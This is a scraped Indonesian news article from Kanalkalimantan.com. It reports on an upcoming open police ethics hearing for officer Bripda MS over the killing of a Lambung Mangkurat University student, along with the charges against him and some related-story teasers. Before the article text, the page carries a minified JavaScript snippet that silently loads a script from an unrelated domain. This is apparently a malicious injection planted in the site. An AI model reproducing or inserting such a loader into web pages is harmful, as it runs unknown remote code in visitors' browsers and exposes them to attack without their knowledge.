(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN — Sidang kode etik anggota Polri Bripda MS kasus pembunuhan mahasiswi Universitas Lambung Mangkurat (ULM) akan digelar pada Senin (29/12/2025).
Hal itu disampaikan Kabid Profesi dan Pengamanan (Propam) Polda Kalimantan Selatan, Kombes Pol Hery Purnomo dalam konferensi pers, Jumat (26/12/2025) siang.
Dikatakan Kombes Pol Hery, sidang etik dilaksanakan secara terbuka di Polres Kota Banjarmasin dengan mengundang seluruh elemen masyarakat.
Baca juga: Jemaah Luar Pulau Puji Pelayanan Relawan Trisakti Banjarmasin
“Rekan-rekan semua silahkan hadir termasuk mahasiswa ULM dan kampus lain,” ujarnya.
Keluarga korban juga akan hadir untuk memastikan sidang berjalan secara transparan.
Diketahui, Bripda MS melanggar pasal 13 Ayat 1 Peraturan Pemerintah (PP) Republik Indonesia (RI) Nomor 01 2003 tentang Pemberhentian Anggota Polri Juncto pasal 5 Ayat 1 Huruf B Pasal 8 Huruf C Angka 1,2,3 dan pasal 13 Huruf M Peraturan Polri Nomor 07 Tentang Kode Etik Profesi dan Komisi Kode Etik.
Baca juga: Relawan Trisakti Banjarmasin Berangkatkan 1.068 Orang ke Sekumpul
Tak hanya itu, Bripda MS dikenakan pasal berlapis yakni pasal 338 KUHP tentang pembunuhan dengan ancaman 20 tahun penjara dan pasal 365 KUHP tentang pencurian dengan kekerasan yang ancaman 9 tahun penjara. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.